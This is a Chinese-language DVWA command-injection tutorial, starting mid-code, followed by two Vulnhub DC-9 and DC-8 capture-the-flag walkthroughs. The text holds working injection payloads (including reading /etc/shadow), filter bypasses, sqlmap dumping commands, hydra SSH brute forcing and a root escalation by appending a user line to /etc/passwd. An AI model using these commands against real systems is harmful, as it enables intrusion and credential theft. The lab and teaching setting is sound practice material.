) ) {         // Windows         $cmd = shell_exec( 'ping  ' . $target );     }     else {         // *nix         $cmd = shell_exec( 'ping  -c 4 ' . $target );     }     // Feedback for the end user     echo "<pre>{$cmd}</pre>"; } ?> 相关函数介绍 stristr(string,search,before_search)stristr函数搜索字符串在另一字符串中的第一次出现，返回字符串的剩余部分（从匹配点），如果未找到所搜索的字符串，则返回FALSE。参数string规定被搜索的字符串，参数search规定要搜索的字符串（如果该参数是数字，则搜索匹配该数字对应的ASCII值的字符），可选参数before_true为布尔型，默认为“false”，如果设置为“true”，函数将返回search参数第一次出现之前的字符串部分。php_uname(mode)这个函数会返回运行php的操作系统的相关描述，参数mode可取值”a” （此为默认，包含序列”s n r v m”里的所有模式），”s ”（返回操作系统名称），”n”（返回主机名），” r”（返回版本名称），”v”（返回版本信息）， ”m”（返回机器类型）。可以看到，服务器通过判断操作系统执行不同ping命令，但是对ip参数并未做任何的过滤，导致了严重的命令注入漏洞。漏洞利用window和linux系统都可以用&&来执行多条命令127.0.0.1&&net userLinux下输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件，可见危害之大。Medium服务器端核心代码<?php if( isset( $_POST[ 'Submit' ]  ) ) {     // Get input     $target = $_REQUEST[ 'ip' ];     // Set blacklist     $substitutions = array(         '&&' => '',         ';'  => '',     );     // Remove any of the charactars in the array (blacklist).     $target = str_replace( array_keys( $substitutions ), $substitutions, $target );     // Determine OS and execute the ping command.     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {         // Windows         $cmd = shell_exec( 'ping  ' . $target );     }     else {         // *nix         $cmd = shell_exec( 'ping  -c 4 ' . $target );     }     // Feedback for the end user     echo "<pre>{$cmd}</pre>"; } ?>可以看到，相比Low级别的代码，服务器端对ip参数做了一定过滤，即把”&&” 、”;”删除，本质上采用的是黑名单机制，因此依旧存在安全问题。漏洞利用1、127.0.0.1&net user因为被过滤的只有”&&”与” ;”，所以”&”不会受影响。这里需要注意的是”&&”与” &”的区别：Command 1&&Command 2先执行Command 1，执行成功后执行Command 2，否则不执行Command 2Command 1&Command 2先执行Command 1，不管是否成功，都会执行Command 22、由于使用的是str_replace把”&&” 、”;”替换为空字符，因此可以采用以下方式绕过：127.0.0.1&;&ipconfig这是因为”127.0.0.1&;&ipconfig”中的” ;”会被替换为空字符，这样一来就变成了”127.0.0.1&& ipconfig” ，会成功执行。High服务器端核心代码<?php if( isset( $_POST[ 'Submit' ]  ) ) {     // Get input     $target = trim($_REQUEST[ 'ip' ]);     // Set blacklist     $substitutions = array(         '&'  => '',         ';'  => '',         '|  ' => '',         '-'  => '',         '$'  => '',         '('  => '',         ')'  => '',         '`'  => '',         '||' => '',     );     // Remove any of the charactars in the array (blacklist).     $target = str_replace( array_keys( $substitutions ), $substitutions, $target );     // Determine OS and execute the ping command.     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {         // Windows         $cmd = shell_exec( 'ping  ' . $target );     }     else {         // *nix         $cmd = shell_exec( 'ping  -c 4 ' . $target );     }     // Feedback for the end user     echo "<pre>{$cmd}</pre>"; } ?> 相比Medium级别的代码，High级别的代码进一步完善了黑名单，但由于黑名单机制的局限性，我们依然可以绕过。漏洞利用黑名单看似过滤了所有的非法字符，但仔细观察到是把”| ”（注意这里|后有一个空格）替换为空字符，于是 ”|”成了“漏网之鱼”。127.0.0.1|whoamiCommand 1 | Command 2“|”是管道符，表示将Command 1的输出作为Command 2的输入，并且只打印Command 2执行的结果。Impossible服务器端核心代码<?php if( isset( $_POST[ 'Submit' ]  ) ) {     // Check Anti-CSRF token     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );     // Get input     $target = $_REQUEST[ 'ip' ];     $target = stripslashes( $target );     // Split the IP into 4 octects     $octet = explode( ".", $target );     // Check IF each octet is an integer     if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {         // If all 4 octets are int's put the IP back together.         $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];         // Determine OS and execute the ping command.         if( stristr( php_uname( 's' ), 'Windows NT' ) ) {             // Windows             $cmd = shell_exec( 'ping  ' . $target );         }         else {             // *nix             $cmd = shell_exec( 'ping  -c 4 ' . $target );         }         // Feedback for the end user         echo "<pre>{$cmd}</pre>";     }     else {         // Ops. Let the user name theres a mistake         echo '<pre>ERROR: You have entered an invalid IP.</pre>';     } } // Generate Anti-CSRF token generateSessionToken(); ?> 相关函数介绍stripslashes(string)stripslashes函数会删除字符串string中的反斜杠，返回已剥离反斜杠的字符串。explode(separator,string,limit)把字符串打散为数组，返回字符串的数组。参数separator规定在哪里分割字符串，参数string是要分割的字符串，可选参数limit规定所返回的数组元素的数目。is_numeric(string)检测string是否为数字或数字字符串，如果是返回TRUE，否则返回FALSE。Impossible加入了Anti-CSRF token，对参数ip进行了严格限制，只有诸如“数字.数字.数字.数字”的输入才会被执行，因此不存在命令注入漏洞。

Vulnhub靶场之DC-9 首先继续使用arp-scan -l获取靶机的地址目标ip 192.168.75.142接下来使用nmap获取更多的相关信息nmap -sS -A -p 1-65535 192.168.75.142不出所料，又是熟悉的80-22两个端口那也不出所料的直接访问80一个显示职员的页面，但是在manage.php中可以进行登录，这里我们肯定要得到管理员账户密码，每个页面进行模糊测试，发现在results.php中存在严重的POST类型SQL注入。sqlmap -u "http://192.168.75.142/results.php" --data "search=1" --dbs？？？？？被我扫死了？重启一下虚拟机看看正常了（汗）可以看到有一个user库，看看里面有什么东西sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users -T UserDetails --dump这里是那些员工这账号和密码，后面可能会用到，先放着，然后再回过来爆另一个员工库看看会有什么东西：sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T StaffDetails --dumpsqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T Users --dump直接使用这个账号密码登录后台试试看可以看见它多了一个Add Record选项，并无什么有用的东西，再看它下面的那句话：File does not exist ，它说文件不存在，这里就很可以了，随即联想到这里是不是存在LFI漏洞，类似前某一次的DC。emmmpasswd文件风评被害。。。所以说LFI是存在的,但是做到这里的时候就卡住了，不知该如何进行下去在CSDN参考了一些大佬的做法，晓得这里用的是端口敲门：原理简单分析：　　端口敲门服务，即：knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务，使用自定义的一系列序列号来“敲门”，使系统开启需要访问的服务端口，才能对外访问。不使用时，再使用自定义的序列号来“关门”，将端口关闭，不对外监听。进一步提升了服务和系统的安全性。　　简单来说就是：知道它的自定义端口后，依次对其进行敲门，然后就可以开启ssh服务从而进行连接了。它的默认配置文件为：/etc/knockd.conf所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号，用LFI把这个文件爆出来：知道端口号后，然后进行敲门，使用nmap即可：nmap -p 7469 192.168.1.109 nmap -p 8475 192.168.1.109 nmap -p 9842 192.168.1.109然后再用namp看一下靶机的ssh服务是否可以正常利用：nmap -p22 192.168.75.142可以看见，ssh服务已经可以利用了，但是需要登录凭证，然后我们把前面所爆出来的那些员工的账号和密码编写成两个字典hydra -L user.txt -P passwd.txt 192.168.75.142 ssh真棒，有一个是管理员用户就先选用这个janitor用户登录ssh janitor@192.168.75.142登录进来以后先查看一下都有什么嗯？密码文件？再爆破？加到刚刚那个里面试试看再次hydra起爆......登录吧。。话不多说，直接看可操作的sudosudo -l在这里我们可以看到，这个用户可以sudo使用root权限在运行一个test程序，而且不需要密码，然后我们先进去这个保存文件测试的位置看一下这是个什么程序：python脚本是一个python脚本。既然拥有root权限，那现在我们要做的就是构造一个拥有root权限的用户，并且在/etc/passwd文件中储存，只要使用这个用户登录后，就可以获取到root权限。回到kali使用openssl工具先创建一个本地的加密用户：openssl passwd -1 -salt admin 111111然后回到靶机中，去到那个程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件（这个文件名可以自定义），再使用sudo用那个test程序来运行这个文件，随后切换成我们添加的这个用户，输入自己设定的密码就可以成功提权到root用户了，最后进入root目录下查看flag即可。echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaasudo ./test /tmp/aaa /etc/passwdsu admincd /rootcat theflag.txt至此，1-9靶机除了dc3有问题以外，全部通关

Vulnhub靶场之DC-8 废话不多说。还是老规矩先安装上虚拟机然后一波arp-scan -l查找目标主机192.168.75.141使用nmap查询更多信息nmap -sS -A -p 1-65535 192.168.75.141不要说，肯定又是80 22访问看看吧又双叒叕是Drupal的系统。。。。看看页面上有没有什么问题吧。。。嗯？？见ID就想起注入，，，搞不好还真有，，，and测试看看？好像还真有问题，上sqlmap一把嗦看看sqlmap -u "http://192.168.75.141/?nid=1"666还真的有，继续看看能不能爆表出来sqlmap -u "http://192.168.75.141/?nid=1" --dbssqlmap -u "http://192.168.75.141/?nid=1" -D d7db --tables吧users表导出看看有没有什么东西sqlmap -u "http://192.168.75.141/?nid=1" -D d7db -T users --dump两个用户、、、hash密码用John爆破。。。用御剑扫到robots文件发现登陆点，用john账号登录经过搜索发现一个问题，可以运行php代码在联系我们的这个设置项里边和DC-7的靶场有异曲同工之妙。。。试着反弹shell，（需要注意的是在php代码前面最好写一些字符，否则代码无法执行，不知道什么逻辑）获取到shell了很明显，又是熟悉的www-data权限寻找标志位为s的文件看到可疑文件exim4查看版本查到了poc将红框内的文件使用wget下载到靶机chmod +x但是这里有个问题,这个脚本是在windows下开发,每行的结尾都有^M,所以需要删除每一行结尾的^M方法:vi 46996.sh:%s/^M//g:wq